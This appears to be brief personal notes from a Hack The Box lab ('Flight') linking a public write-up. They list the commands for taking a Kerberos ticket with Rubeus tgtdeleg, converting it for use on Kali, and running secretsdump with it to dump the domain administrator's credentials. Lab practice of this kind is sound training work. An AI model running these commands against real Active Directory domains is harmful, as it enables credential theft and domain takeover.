defaultpool access

https://0xdf.gitlab.io/2023/05/06/htb-flight.html#get-ticket

#Getting the ticket

.\rubeus.exe tgtdeleg /nowrap

Set ticket to use on kali

raw_ticket | base64 -d > ticket.kirbi
kirbi2ccache ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache 

Then use secretdump but with ticket

secretsdump.py -k -no-pass g0.flight.htb -just-dc-user administrator